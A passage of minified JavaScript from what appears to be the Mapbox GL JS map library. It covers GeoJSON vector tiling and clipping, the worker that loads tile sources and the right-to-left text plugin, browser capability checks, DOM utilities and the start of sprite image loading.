if(vt==="MultiPolygon")for(gt=0;gt<rt.length;gt++)for(var wt=0;wt<rt[gt].length;wt++)Ze(nt,rt[gt][wt])}function Ze(nt,rt){for(var vt=0;vt<rt.length;vt+=3)nt.minX=Math.min(nt.minX,rt[vt]),nt.minY=Math.min(nt.minY,rt[vt+1]),nt.maxX=Math.max(nt.maxX,rt[vt]),nt.maxY=Math.max(nt.maxY,rt[vt+1])}function Ke(nt,rt){var vt=[];if(nt.type==="FeatureCollection")for(var gt=0;gt<nt.features.length;gt++)st(vt,nt.features[gt],rt,gt);else nt.type==="Feature"?st(vt,nt,rt):st(vt,{geometry:nt},rt);return vt}function st(nt,rt,vt,gt){if(rt.geometry){var wt=rt.geometry.coordinates,mt=rt.geometry.type,Pt=Math.pow(vt.tolerance/((1<<vt.maxZoom)*vt.extent),2),zt=[],Xt=rt.id;if(vt.promoteId?Xt=rt.properties[vt.promoteId]:vt.generateId&&(Xt=gt||0),mt==="Point")lt(wt,zt);else if(mt==="MultiPoint")for(var Yt=0;Yt<wt.length;Yt++)lt(wt[Yt],zt);else if(mt==="LineString")ut(wt,zt,Pt,!1);else if(mt==="MultiLineString")if(vt.lineMetrics){for(Yt=0;Yt<wt.length;Yt++)zt=[],ut(wt[Yt],zt,Pt,!1),nt.push($e(Xt,"LineString",zt,rt.properties));return}else yt(wt,zt,Pt,!1);else if(mt==="Polygon")yt(wt,zt,Pt,!0);else if(mt==="MultiPolygon")for(Yt=0;Yt<wt.length;Yt++){var $t=[];yt(wt[Yt],$t,Pt,!0),zt.push($t)}else if(mt==="GeometryCollection"){for(Yt=0;Yt<rt.geometry.geometries.length;Yt++)st(nt,{id:Xt,geometry:rt.geometry.geometries[Yt],properties:rt.properties},vt,gt);return}else throw new Error("Input data is not a valid GeoJSON object.");nt.push($e(Xt,mt,zt,rt.properties))}}function lt(nt,rt){rt.push(bt(nt[0])),rt.push(Ot(nt[1])),rt.push(0)}function ut(nt,rt,vt,gt){for(var wt,mt,Pt=0,zt=0;zt<nt.length;zt++){var Xt=bt(nt[zt][0]),Yt=Ot(nt[zt][1]);rt.push(Xt),rt.push(Yt),rt.push(0),zt>0&&(gt?Pt+=(wt*Yt-Xt*mt)/2:Pt+=Math.sqrt(Math.pow(Xt-wt,2)+Math.pow(Yt-mt,2))),wt=Xt,mt=Yt}var $t=rt.length-3;rt[2]=1,Ce(rt,0,$t,vt),rt[$t+2]=1,rt.size=Math.abs(Pt),rt.start=0,rt.end=rt.size}function yt(nt,rt,vt,gt){for(var wt=0;wt<nt.length;wt++){var mt=[];ut(nt[wt],mt,vt,gt),rt.push(mt)}}function bt(nt){return nt/360+.5}function Ot(nt){var rt=Math.sin(nt*Math.PI/180),vt=.5-.25*Math.log((1+rt)/(1-rt))/Math.PI;return vt<0?0:vt>1?1:vt}function Ge(nt,rt,vt,gt,wt,mt,Pt,zt){if(vt/=rt,gt/=rt,mt>=vt&&Pt<gt)return nt;if(Pt<vt||mt>=gt)return null;for(var Xt=[],Yt=0;Yt<nt.length;Yt++){var $t=nt[Yt],yr=$t.geometry,Ue=$t.type,Ne=wt===0?$t.minX:$t.minY,Et=wt===0?$t.maxX:$t.maxY;if(Ne>=vt&&Et<gt){Xt.push($t);continue}else if(Et<vt||Ne>=gt)continue;var Lt=[];if(Ue==="Point"||Ue==="MultiPoint")Le(yr,Lt,vt,gt,wt);else if(Ue==="LineString")Pe(yr,Lt,vt,gt,wt,!1,zt.lineMetrics);else if(Ue==="MultiLineString")Ee(yr,Lt,vt,gt,wt,!1);else if(Ue==="Polygon")Ee(yr,Lt,vt,gt,wt,!0);else if(Ue==="MultiPolygon")for(var Nt=0;Nt<yr.length;Nt++){var rr=[];Ee(yr[Nt],rr,vt,gt,wt,!0),rr.length&&Lt.push(rr)}if(Lt.length){if(zt.lineMetrics&&Ue==="LineString"){for(Nt=0;Nt<Lt.length;Nt++)Xt.push($e($t.id,Ue,Lt[Nt],$t.tags));continue}(Ue==="LineString"||Ue==="MultiLineString")&&(Lt.length===1?(Ue="LineString",Lt=Lt[0]):Ue="MultiLineString"),(Ue==="Point"||Ue==="MultiPoint")&&(Ue=Lt.length===3?"Point":"MultiPoint"),Xt.push($e($t.id,Ue,Lt,$t.tags))}}return Xt.length?Xt:null}function Le(nt,rt,vt,gt,wt){for(var mt=0;mt<nt.length;mt+=3){var Pt=nt[mt+wt];Pt>=vt&&Pt<=gt&&(rt.push(nt[mt]),rt.push(nt[mt+1]),rt.push(nt[mt+2]))}}function Pe(nt,rt,vt,gt,wt,mt,Pt){for(var zt=De(nt),Xt=wt===0?ae:de,Yt=nt.start,$t,yr,Ue=0;Ue<nt.length-3;Ue+=3){var Ne=nt[Ue],Et=nt[Ue+1],Lt=nt[Ue+2],Nt=nt[Ue+3],rr=nt[Ue+4],tr=wt===0?Ne:Et,Jt=wt===0?Nt:rr,It=!1;Pt&&($t=Math.sqrt(Math.pow(Ne-Nt,2)+Math.pow(Et-rr,2))),tr<vt?Jt>vt&&(yr=Xt(zt,Ne,Et,Nt,rr,vt),Pt&&(zt.start=Yt+$t*yr)):tr>gt?Jt<gt&&(yr=Xt(zt,Ne,Et,Nt,rr,gt),Pt&&(zt.start=Yt+$t*yr)):ye(zt,Ne,Et,Lt),Jt<vt&&tr>=vt&&(yr=Xt(zt,Ne,Et,Nt,rr,vt),It=!0),Jt>gt&&tr<=gt&&(yr=Xt(zt,Ne,Et,Nt,rr,gt),It=!0),!mt&&It&&(Pt&&(zt.end=Yt+$t*yr),rt.push(zt),zt=De(nt)),Pt&&(Yt+=$t)}var or=nt.length-3;Ne=nt[or],Et=nt[or+1],Lt=nt[or+2],tr=wt===0?Ne:Et,tr>=vt&&tr<=gt&&ye(zt,Ne,Et,Lt),or=zt.length-3,mt&&or>=3&&(zt[or]!==zt[0]||zt[or+1]!==zt[1])&&ye(zt,zt[0],zt[1],zt[2]),zt.length&&rt.push(zt)}function De(nt){var rt=[];return rt.size=nt.size,rt.start=nt.start,rt.end=nt.end,rt}function Ee(nt,rt,vt,gt,wt,mt){for(var Pt=0;Pt<nt.length;Pt++)Pe(nt[Pt],rt,vt,gt,wt,mt,!1)}function ye(nt,rt,vt,gt){nt.push(rt),nt.push(vt),nt.push(gt)}function ae(nt,rt,vt,gt,wt,mt){var Pt=(mt-rt)/(gt-rt);return nt.push(mt),nt.push(vt+(wt-vt)*Pt),nt.push(1),Pt}function de(nt,rt,vt,gt,wt,mt){var Pt=(mt-vt)/(wt-vt);return nt.push(rt+(gt-rt)*Pt),nt.push(mt),nt.push(1),Pt}function Me(nt,rt){var vt=rt.buffer/rt.extent,gt=nt,wt=Ge(nt,1,-1-vt,vt,0,-1,2,rt),mt=Ge(nt,1,1-vt,2+vt,0,-1,2,rt);return(wt||mt)&&(gt=Ge(nt,1,-vt,1+vt,0,-1,2,rt)||[],wt&&(gt=Ie(wt,1).concat(gt)),mt&&(gt=gt.concat(Ie(mt,-1)))),gt}function Ie(nt,rt){for(var vt=[],gt=0;gt<nt.length;gt++){var wt=nt[gt],mt=wt.type,Pt;if(mt==="Point"||mt==="MultiPoint"||mt==="LineString")Pt=Qe(wt.geometry,rt);else if(mt==="MultiLineString"||mt==="Polygon"){Pt=[];for(var zt=0;zt<wt.geometry.length;zt++)Pt.push(Qe(wt.geometry[zt],rt))}else if(mt==="MultiPolygon")for(Pt=[],zt=0;zt<wt.geometry.length;zt++){for(var Xt=[],Yt=0;Yt<wt.geometry[zt].length;Yt++)Xt.push(Qe(wt.geometry[zt][Yt],rt));Pt.push(Xt)}vt.push($e(wt.id,mt,Pt,wt.tags))}return vt}function Qe(nt,rt){var vt=[];vt.size=nt.size,nt.start!==void 0&&(vt.start=nt.start,vt.end=nt.end);for(var gt=0;gt<nt.length;gt+=3)vt.push(nt[gt]+rt,nt[gt+1],nt[gt+2]);return vt}function et(nt,rt){if(nt.transformed)return nt;var vt=1<<nt.z,gt=nt.x,wt=nt.y,mt,Pt,zt;for(mt=0;mt<nt.features.length;mt++){var Xt=nt.features[mt],Yt=Xt.geometry,$t=Xt.type;if(Xt.geometry=[],$t===1)for(Pt=0;Pt<Yt.length;Pt+=2)Xt.geometry.push(pt(Yt[Pt],Yt[Pt+1],rt,vt,gt,wt));else for(Pt=0;Pt<Yt.length;Pt++){var yr=[];for(zt=0;zt<Yt[Pt].length;zt+=2)yr.push(pt(Yt[Pt][zt],Yt[Pt][zt+1],rt,vt,gt,wt));Xt.geometry.push(yr)}}return nt.transformed=!0,nt}function pt(nt,rt,vt,gt,wt,mt){return[Math.round(vt*(nt*gt-wt)),Math.round(vt*(rt*gt-mt))]}function St(nt,rt,vt,gt,wt){for(var mt=rt===wt.maxZoom?0:wt.tolerance/((1<<rt)*wt.extent),Pt={features:[],numPoints:0,numSimplified:0,numFeatures:0,source:null,x:vt,y:gt,z:rt,transformed:!1,minX:2,minY:1,maxX:-1,maxY:0},zt=0;zt<nt.length;zt++){Pt.numFeatures++,_t(Pt,nt[zt],mt,wt);var Xt=nt[zt].minX,Yt=nt[zt].minY,$t=nt[zt].maxX,yr=nt[zt].maxY;Xt<Pt.minX&&(Pt.minX=Xt),Yt<Pt.minY&&(Pt.minY=Yt),$t>Pt.maxX&&(Pt.maxX=$t),yr>Pt.maxY&&(Pt.maxY=yr)}return Pt}function _t(nt,rt,vt,gt){var wt=rt.geometry,mt=rt.type,Pt=[];if(mt==="Point"||mt==="MultiPoint")for(var zt=0;zt<wt.length;zt+=3)Pt.push(wt[zt]),Pt.push(wt[zt+1]),nt.numPoints++,nt.numSimplified++;else if(mt==="LineString")Ft(Pt,wt,nt,vt,!1,!1);else if(mt==="MultiLineString"||mt==="Polygon")for(zt=0;zt<wt.length;zt++)Ft(Pt,wt[zt],nt,vt,mt==="Polygon",zt===0);else if(mt==="MultiPolygon")for(var Xt=0;Xt<wt.length;Xt++){var Yt=wt[Xt];for(zt=0;zt<Yt.length;zt++)Ft(Pt,Yt[zt],nt,vt,!0,zt===0)}if(Pt.length){var $t=rt.tags||null;if(mt==="LineString"&&gt.lineMetrics){$t={};for(var yr in rt.tags)$t[yr]=rt.tags[yr];$t.mapbox_clip_start=wt.start/wt.size,$t.mapbox_clip_end=wt.end/wt.size}var Ue={geometry:Pt,type:mt==="Polygon"||mt==="MultiPolygon"?3:mt==="LineString"||mt==="MultiLineString"?2:1,tags:$t};rt.id!==null&&(Ue.id=rt.id),nt.features.push(Ue)}}function Ft(nt,rt,vt,gt,wt,mt){var Pt=gt*gt;if(gt>0&&rt.size<(wt?Pt:gt)){vt.numPoints+=rt.length/3;return}for(var zt=[],Xt=0;Xt<rt.length;Xt+=3)(gt===0||rt[Xt+2]>Pt)&&(vt.numSimplified++,zt.push(rt[Xt]),zt.push(rt[Xt+1])),vt.numPoints++;wt&&Tt(zt,mt),nt.push(zt)}function Tt(nt,rt){for(var vt=0,gt=0,wt=nt.length,mt=wt-2;gt<wt;mt=gt,gt+=2)vt+=(nt[gt]-nt[mt])*(nt[gt+1]+nt[mt+1]);if(vt>0===rt)for(gt=0,wt=nt.length;gt<wt/2;gt+=2){var Pt=nt[gt],zt=nt[gt+1];nt[gt]=nt[wt-2-gt],nt[gt+1]=nt[wt-1-gt],nt[wt-2-gt]=Pt,nt[wt-1-gt]=zt}}function Gt(nt,rt){return new er(nt,rt)}function er(nt,rt){rt=this.options=ct(Object.create(this.options),rt);var vt=rt.debug;if(vt&&console.time("preprocess data"),rt.maxZoom<0||rt.maxZoom>24)throw new Error("maxZoom should be in the 0-24 range");if(rt.promoteId&&rt.generateId)throw new Error("promoteId and generateId cannot be used together.");var gt=Ke(nt,rt);this.tiles={},this.tileCoords=[],vt&&(console.timeEnd("preprocess data"),console.log("index: maxZoom: %d, maxPoints: %d",rt.indexMaxZoom,rt.indexMaxPoints),console.time("generate tiles"),this.stats={},this.total=0),gt=Me(gt,rt),gt.length&&this.splitTile(gt,0,0,0),vt&&(gt.length&&console.log("features: %d, points: %d",this.tiles[0].numFeatures,this.tiles[0].numPoints),console.timeEnd("generate tiles"),console.log("tiles generated:",this.total,JSON.stringify(this.stats)))}er.prototype.options={maxZoom:14,indexMaxZoom:5,indexMaxPoints:1e5,tolerance:3,extent:4096,buffer:64,lineMetrics:!1,promoteId:null,generateId:!1,debug:0},er.prototype.splitTile=function(nt,rt,vt,gt,wt,mt,Pt){for(var zt=[nt,rt,vt,gt],Xt=this.options,Yt=Xt.debug;zt.length;){gt=zt.pop(),vt=zt.pop(),rt=zt.pop(),nt=zt.pop();var $t=1<<rt,yr=Pr(rt,vt,gt),Ue=this.tiles[yr];if(!Ue&&(Yt>1&&console.time("creation"),Ue=this.tiles[yr]=St(nt,rt,vt,gt,Xt),this.tileCoords.push({z:rt,x:vt,y:gt}),Yt)){Yt>1&&(console.log("tile z%d-%d-%d (features: %d, points: %d, simplified: %d)",rt,vt,gt,Ue.numFeatures,Ue.numPoints,Ue.numSimplified),console.timeEnd("creation"));var Ne="z"+rt;this.stats[Ne]=(this.stats[Ne]||0)+1,this.total++}if(Ue.source=nt,wt){if(rt===Xt.maxZoom||rt===wt)continue;var Et=1<<wt-rt;if(vt!==Math.floor(mt/Et)||gt!==Math.floor(Pt/Et))continue}else if(rt===Xt.indexMaxZoom||Ue.numPoints<=Xt.indexMaxPoints)continue;if(Ue.source=null,nt.length!==0){Yt>1&&console.time("clipping");var Lt=.5*Xt.buffer/Xt.extent,Nt=.5-Lt,rr=.5+Lt,tr=1+Lt,Jt,It,or,ur,fr,lr;Jt=It=or=ur=null,fr=Ge(nt,$t,vt-Lt,vt+rr,0,Ue.minX,Ue.maxX,Xt),lr=Ge(nt,$t,vt+Nt,vt+tr,0,Ue.minX,Ue.maxX,Xt),nt=null,fr&&(Jt=Ge(fr,$t,gt-Lt,gt+rr,1,Ue.minY,Ue.maxY,Xt),It=Ge(fr,$t,gt+Nt,gt+tr,1,Ue.minY,Ue.maxY,Xt),fr=null),lr&&(or=Ge(lr,$t,gt-Lt,gt+rr,1,Ue.minY,Ue.maxY,Xt),ur=Ge(lr,$t,gt+Nt,gt+tr,1,Ue.minY,Ue.maxY,Xt),lr=null),Yt>1&&console.timeEnd("clipping"),zt.push(Jt||[],rt+1,vt*2,gt*2),zt.push(It||[],rt+1,vt*2,gt*2+1),zt.push(or||[],rt+1,vt*2+1,gt*2),zt.push(ur||[],rt+1,vt*2+1,gt*2+1)}}},er.prototype.getTile=function(nt,rt,vt){var gt=this.options,wt=gt.extent,mt=gt.debug;if(nt<0||nt>24)return null;var Pt=1<<nt;rt=(rt%Pt+Pt)%Pt;var zt=Pr(nt,rt,vt);if(this.tiles[zt])return et(this.tiles[zt],wt);mt>1&&console.log("drilling down to z%d-%d-%d",nt,rt,vt);for(var Xt=nt,Yt=rt,$t=vt,yr;!yr&&Xt>0;)Xt--,Yt=Math.floor(Yt/2),$t=Math.floor($t/2),yr=this.tiles[Pr(Xt,Yt,$t)];return!yr||!yr.source?null:(mt>1&&console.log("found parent tile z%d-%d-%d",Xt,Yt,$t),mt>1&&console.time("drilling down"),this.splitTile(yr.source,Xt,Yt,$t,nt,rt,vt),mt>1&&console.timeEnd("drilling down"),this.tiles[zt]?et(this.tiles[zt],wt):null)};function Pr(nt,rt,vt){return((1<<nt)*vt+rt)*32+nt}function ct(nt,rt){for(var vt in rt)nt[vt]=rt[vt];return nt}function Vt(nt,rt){var vt=nt.tileID.canonical;if(!this._geoJSONIndex)return rt(null,null);var gt=this._geoJSONIndex.getTile(vt.z,vt.x,vt.y);if(!gt)return rt(null,null);var wt=new w(gt.features),mt=n(wt);(mt.byteOffset!==0||mt.byteLength!==mt.buffer.byteLength)&&(mt=new Uint8Array(mt)),rt(null,{vectorTile:wt,rawData:mt.buffer})}var Ut=function(nt){function rt(vt,gt,wt,mt){nt.call(this,vt,gt,wt,Vt),mt&&(this.loadGeoJSON=mt)}return nt&&(rt.__proto__=nt),rt.prototype=Object.create(nt&&nt.prototype),rt.prototype.constructor=rt,rt.prototype.loadData=function(gt,wt){this._pendingCallback&&this._pendingCallback(null,{abandoned:!0}),this._pendingCallback=wt,this._pendingLoadDataParams=gt,this._state&&this._state!=="Idle"?this._state="NeedsLoadData":(this._state="Coalescing",this._loadData())},rt.prototype._loadData=function(){var gt=this;if(!(!this._pendingCallback||!this._pendingLoadDataParams)){var wt=this._pendingCallback,mt=this._pendingLoadDataParams;delete this._pendingCallback,delete this._pendingLoadDataParams;var Pt=mt&&mt.request&&mt.request.collectResourceTiming?new o.RequestPerformance(mt.request):!1;this.loadGeoJSON(mt,function(zt,Xt){if(zt||!Xt)return wt(zt);if(typeof Xt!="object")return wt(new Error("Input data given to '"+mt.source+"' is not a valid GeoJSON object."));c(Xt,!0);try{gt._geoJSONIndex=mt.cluster?new re(dr(mt)).load(Xt.features):Gt(Xt,mt.geojsonVtOptions)}catch(yr){return wt(yr)}gt.loaded={};var Yt={};if(Pt){var $t=Pt.finish();$t&&(Yt.resourceTiming={},Yt.resourceTiming[mt.source]=JSON.parse(JSON.stringify($t)))}wt(null,Yt)})}},rt.prototype.coalesce=function(){this._state==="Coalescing"?this._state="Idle":this._state==="NeedsLoadData"&&(this._state="Coalescing",this._loadData())},rt.prototype.reloadTile=function(gt,wt){var mt=this.loaded,Pt=gt.uid;return mt&&mt[Pt]?nt.prototype.reloadTile.call(this,gt,wt):this.loadTile(gt,wt)},rt.prototype.loadGeoJSON=function(gt,wt){if(gt.request)o.getJSON(gt.request,wt);else if(typeof gt.data=="string")try{return wt(null,JSON.parse(gt.data))}catch{return wt(new Error("Input data given to '"+gt.source+"' is not a valid GeoJSON object."))}else return wt(new Error("Input data given to '"+gt.source+"' is not a valid GeoJSON object."))},rt.prototype.removeSource=function(gt,wt){this._pendingCallback&&this._pendingCallback(null,{abandoned:!0}),wt()},rt.prototype.getClusterExpansionZoom=function(gt,wt){try{wt(null,this._geoJSONIndex.getClusterExpansionZoom(gt.clusterId))}catch(mt){wt(mt)}},rt.prototype.getClusterChildren=function(gt,wt){try{wt(null,this._geoJSONIndex.getChildren(gt.clusterId))}catch(mt){wt(mt)}},rt.prototype.getClusterLeaves=function(gt,wt){try{wt(null,this._geoJSONIndex.getLeaves(gt.clusterId,gt.limit,gt.offset))}catch(mt){wt(mt)}},rt}(u);function dr(nt){var rt=nt.superclusterOptions,vt=nt.clusterProperties;if(!vt||!rt)return rt;for(var gt={},wt={},mt={accumulated:null,zoom:0},Pt={properties:null},zt=Object.keys(vt),Xt=0,Yt=zt;Xt<Yt.length;Xt+=1){var $t=Yt[Xt],yr=vt[$t],Ue=yr[0],Ne=yr[1],Et=o.createExpression(Ne),Lt=o.createExpression(typeof Ue=="string"?[Ue,["accumulated"],["get",$t]]:Ue);gt[$t]=Et.value,wt[$t]=Lt.value}return rt.map=function(Nt){Pt.properties=Nt;for(var rr={},tr=0,Jt=zt;tr<Jt.length;tr+=1){var It=Jt[tr];rr[It]=gt[It].evaluate(mt,Pt)}return rr},rt.reduce=function(Nt,rr){Pt.properties=rr;for(var tr=0,Jt=zt;tr<Jt.length;tr+=1){var It=Jt[tr];mt.accumulated=Nt[It],Nt[It]=wt[It].evaluate(mt,Pt)}},rt}var sr=function(rt){var vt=this;this.self=rt,this.actor=new o.Actor(rt,this),this.layerIndexes={},this.availableImages={},this.workerSourceTypes={vector:u,geojson:Ut},this.workerSources={},this.demWorkerSources={},this.self.registerWorkerSource=function(gt,wt){if(vt.workerSourceTypes[gt])throw new Error('Worker source with name "'+gt+'" already registered.');vt.workerSourceTypes[gt]=wt},this.self.registerRTLTextPlugin=function(gt){if(o.plugin.isParsed())throw new Error("RTL text plugin already registered.");o.plugin.applyArabicShaping=gt.applyArabicShaping,o.plugin.processBidirectionalText=gt.processBidirectionalText,o.plugin.processStyledBidirectionalText=gt.processStyledBidirectionalText}};return sr.prototype.setReferrer=function(rt,vt){this.referrer=vt},sr.prototype.setImages=function(rt,vt,gt){this.availableImages[rt]=vt;for(var wt in this.workerSources[rt]){var mt=this.workerSources[rt][wt];for(var Pt in mt)mt[Pt].availableImages=vt}gt()},sr.prototype.setLayers=function(rt,vt,gt){this.getLayerIndex(rt).replace(vt),gt()},sr.prototype.updateLayers=function(rt,vt,gt){this.getLayerIndex(rt).update(vt.layers,vt.removedIds),gt()},sr.prototype.loadTile=function(rt,vt,gt){this.getWorkerSource(rt,vt.type,vt.source).loadTile(vt,gt)},sr.prototype.loadDEMTile=function(rt,vt,gt){this.getDEMWorkerSource(rt,vt.source).loadTile(vt,gt)},sr.prototype.reloadTile=function(rt,vt,gt){this.getWorkerSource(rt,vt.type,vt.source).reloadTile(vt,gt)},sr.prototype.abortTile=function(rt,vt,gt){this.getWorkerSource(rt,vt.type,vt.source).abortTile(vt,gt)},sr.prototype.removeTile=function(rt,vt,gt){this.getWorkerSource(rt,vt.type,vt.source).removeTile(vt,gt)},sr.prototype.removeDEMTile=function(rt,vt){this.getDEMWorkerSource(rt,vt.source).removeTile(vt)},sr.prototype.removeSource=function(rt,vt,gt){if(!(!this.workerSources[rt]||!this.workerSources[rt][vt.type]||!this.workerSources[rt][vt.type][vt.source])){var wt=this.workerSources[rt][vt.type][vt.source];delete this.workerSources[rt][vt.type][vt.source],wt.removeSource!==void 0?wt.removeSource(vt,gt):gt()}},sr.prototype.loadWorkerSource=function(rt,vt,gt){try{this.self.importScripts(vt.url),gt()}catch(wt){gt(wt.toString())}},sr.prototype.syncRTLPluginState=function(rt,vt,gt){try{o.plugin.setState(vt);var wt=o.plugin.getPluginURL();if(o.plugin.isLoaded()&&!o.plugin.isParsed()&&wt!=null){this.self.importScripts(wt);var mt=o.plugin.isParsed(),Pt=mt?void 0:new Error("RTL Text Plugin failed to import scripts from "+wt);gt(Pt,mt)}}catch(zt){gt(zt.toString())}},sr.prototype.getAvailableImages=function(rt){var vt=this.availableImages[rt];return vt||(vt=[]),vt},sr.prototype.getLayerIndex=function(rt){var vt=this.layerIndexes[rt];return vt||(vt=this.layerIndexes[rt]=new g),vt},sr.prototype.getWorkerSource=function(rt,vt,gt){var wt=this;if(this.workerSources[rt]||(this.workerSources[rt]={}),this.workerSources[rt][vt]||(this.workerSources[rt][vt]={}),!this.workerSources[rt][vt][gt]){var mt={send:function(Pt,zt,Xt){wt.actor.send(Pt,zt,Xt,rt)}};this.workerSources[rt][vt][gt]=new this.workerSourceTypes[vt](mt,this.getLayerIndex(rt),this.getAvailableImages(rt))}return this.workerSources[rt][vt][gt]},sr.prototype.getDEMWorkerSource=function(rt,vt){return this.demWorkerSources[rt]||(this.demWorkerSources[rt]={}),this.demWorkerSources[rt][vt]||(this.demWorkerSources[rt][vt]=new y),this.demWorkerSources[rt][vt]},sr.prototype.enforceCacheSizeLimit=function(rt,vt){o.enforceCacheSizeLimit(vt)},typeof WorkerGlobalScope<"u"&&typeof o.window<"u"&&o.window instanceof WorkerGlobalScope&&(o.window.worker=new sr(o.window)),sr}),P(["./shared"],function(o){var L=o.createCommonjsModule(function(ue){ue.exports?ue.exports=H:window&&(window.mapboxgl=window.mapboxgl||{},window.mapboxgl.supported=H,window.mapboxgl.notSupportedReason=he);function H(zr){return!he(zr)}function he(zr){if(!$())return"not a browser";if(!ve())return"insufficent Array support";if(!Re())return"insufficient Function support";if(!He())return"insufficient Object support";if(!tt())return"insufficient JSON support";if(!ht())return"insufficient worker support";if(!Dt())return"insufficient Uint8ClampedArray support";if(!Wt())return"insufficient ArrayBuffer support";if(!ar())return"insufficient Canvas/getImageData support";if(!Er(zr&&zr.failIfMajorPerformanceCaveat))return"insufficient WebGL support"}function $(){return typeof window<"u"&&typeof document<"u"}function ve(){return Array.prototype&&Array.prototype.every&&Array.prototype.filter&&Array.prototype.forEach&&Array.prototype.indexOf&&Array.prototype.lastIndexOf&&Array.prototype.map&&Array.prototype.some&&Array.prototype.reduce&&Array.prototype.reduceRight&&Array.isArray}function Re(){return Function.prototype&&Function.prototype.bind}function He(){return Object.keys&&Object.create&&Object.getPrototypeOf&&Object.getOwnPropertyNames&&Object.isSealed&&Object.isFrozen&&Object.isExtensible&&Object.getOwnPropertyDescriptor&&Object.defineProperty&&Object.defineProperties&&Object.seal&&Object.freeze&&Object.preventExtensions}function tt(){return"JSON"in window&&"parse"in JSON&&"stringify"in JSON}function ht(){if(!("Worker"in window&&"Blob"in window&&"URL"in window))return!1;var zr=new Blob([""],{type:"text/javascript"}),Yr=URL.createObjectURL(zr),en,xn;try{xn=new Worker(Yr),en=!0}catch{en=!1}return xn&&xn.terminate(),URL.revokeObjectURL(Yr),en}function Dt(){return"Uint8ClampedArray"in window}function Wt(){return ArrayBuffer.isView}function ar(){var zr=document.createElement("canvas");zr.width=zr.height=1;var Yr=zr.getContext("2d");if(!Yr)return!1;var en=Yr.getImageData(0,0,1,1);return en&&en.width===zr.width}var hr={};function Er(zr){return hr[zr]===void 0&&(hr[zr]=Or(zr)),hr[zr]}H.webGLContextAttributes={antialias:!1,alpha:!0,stencil:!0,depth:!0};function Fr(zr){var Yr=document.createElement("canvas"),en=Object.create(H.webGLContextAttributes);return en.failIfMajorPerformanceCaveat=zr,Yr.probablySupportsContext?Yr.probablySupportsContext("webgl",en)||Yr.probablySupportsContext("experimental-webgl",en):Yr.supportsContext?Yr.supportsContext("webgl",en)||Yr.supportsContext("experimental-webgl",en):Yr.getContext("webgl",en)||Yr.getContext("experimental-webgl",en)}function Or(zr){var Yr=Fr(zr);if(!Yr)return!1;var en=Yr.createShader(Yr.VERTEX_SHADER);return!en||Yr.isContextLost()?!1:(Yr.shaderSource(en,"void main() {}"),Yr.compileShader(en),Yr.getShaderParameter(en,Yr.COMPILE_STATUS)===!0)}}),S={};S.create=function(ue,H,he){var $=o.window.document.createElement(ue);return H!==void 0&&($.className=H),he&&he.appendChild($),$},S.createNS=function(ue,H){var he=o.window.document.createElementNS(ue,H);return he};var d=o.window.document.documentElement.style;function g(ue){if(!d)return ue[0];for(var H=0;H<ue.length;H++)if(ue[H]in d)return ue[H];return ue[0]}var t=g(["userSelect","MozUserSelect","WebkitUserSelect","msUserSelect"]),r;S.disableDrag=function(){d&&t&&(r=d[t],d[t]="none")},S.enableDrag=function(){d&&t&&(d[t]=r)};var f=g(["transform","WebkitTransform"]);S.setTransform=function(ue,H){ue.style[f]=H};var a=!1;try{var l=Object.defineProperty({},"passive",{get:function(){a=!0}});o.window.addEventListener("test",l,l),o.window.removeEventListener("test",l,l)}catch{a=!1}S.addEventListener=function(ue,H,he,$){$===void 0&&($={}),"passive"in $&&a?ue.addEventListener(H,he,$):ue.addEventListener(H,he,$.capture)},S.removeEventListener=function(ue,H,he,$){$===void 0&&($={}),"passive"in $&&a?ue.removeEventListener(H,he,$):ue.removeEventListener(H,he,$.capture)};var u=function(ue){ue.preventDefault(),ue.stopPropagation(),o.window.removeEventListener("click",u,!0)};S.suppressClick=function(){o.window.addEventListener("click",u,!0),o.window.setTimeout(function(){o.window.removeEventListener("click",u,!0)},0)},S.mousePos=function(ue,H){var he=ue.getBoundingClientRect();return new o.Point(H.clientX-he.left-ue.clientLeft,H.clientY-he.top-ue.clientTop)},S.touchPos=function(ue,H){for(var he=ue.getBoundingClientRect(),$=[],ve=0;ve<H.length;ve++)$.push(new o.Point(H[ve].clientX-he.left-ue.clientLeft,H[ve].clientY-he.top-ue.clientTop));return $},S.mouseButton=function(ue){return typeof o.window.InstallTrigger<"u"&&ue.button===2&&ue.ctrlKey&&o.window.navigator.platform.toUpperCase().indexOf("MAC")>=0?0:ue.button},S.remove=function(ue){ue.parentNode&&ue.parentNode.removeChild(ue)};function s(ue,H,he){var $,ve,Re,He=o.browser.devicePixelRatio>1?"@2x":"",tt=o.getJSON(H.transformRequest(H.normalizeSpriteURL(ue,He,".json"),o.ResourceType.SpriteJSON),function(Wt,ar){tt=null,Re||(Re=Wt,$=ar,Dt())}),ht=o.getImage(H.transformRequest(H.normalizeSpriteURL(ue,He,".png"),o.ResourceType.SpriteImage),function(Wt,ar){ht=null,Re||(Re=Wt,ve=ar,Dt())});function Dt(){if(Re)he(Re);else if($&&ve){var Wt=o.browser.getImageData(ve),ar={};for(var hr in $){var Er=$[hr],Fr=Er.width,Or=Er.height,zr=Er.x,Yr=Er.y,en=Er.sdf,xn=Er.pixelRatio,Pn=Er.stretchX,Bn=Er.stretchY,Un=Er.content,Nn=new o.RGBAImage({width:Fr,height:Or});o.RGBAImage.copy(Wt,Nn,{x:zr,y:Yr},{x:0,y:0},{width:Fr,height:Or}),ar[hr]={data:Nn,pixelRatio:xn,sdf:en,stretchX:Pn,stretchY:Bn,content:Un}}he(null,ar)}}return{cancel:function(){tt&&(tt.cancel(),tt=null),ht&&(ht.cancel(),ht=null)}}}function y(ue){var H=ue.userImage;if(H&&H.render){var he=H.render();if(he)return ue.data.replace(new Uint8Array(H.data.buffer)),!0}return!1}var c=1,b=function(ue){function H(){ue.call(this),this.images={},this.updatedImages={},this.callbackDispatchedThisFrame={},this.loaded=!1,this.requestors=[],this.patterns={},this.atlasImage=new o.RGBAImage({width:1,height:1}),this.dirty=!0}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H.prototype.isLoaded=function(){return this.loaded},H.prototype.setLoaded=function($){if(this.loaded!==$&&(this.loaded=$,$)){for(var ve=0,Re=this.requestors;ve<Re.length;ve+=1){var He=Re[ve],tt=He.ids,ht=He.callback;this._notify(tt,ht)}this.requestors=[]}},H.prototype.getImage=function($){return this.images[$]},H.prototype.addImage=function($,ve){this._validate($,ve)&&(this.images[$]=ve)},H.prototype._validate=function($,ve){var Re=!0;return this._validateStretch(ve.stretchX,ve.data&&ve.data.width)||(this.fire(new o.ErrorEvent(new Error('Image "'+$+'" has invalid "stretchX" 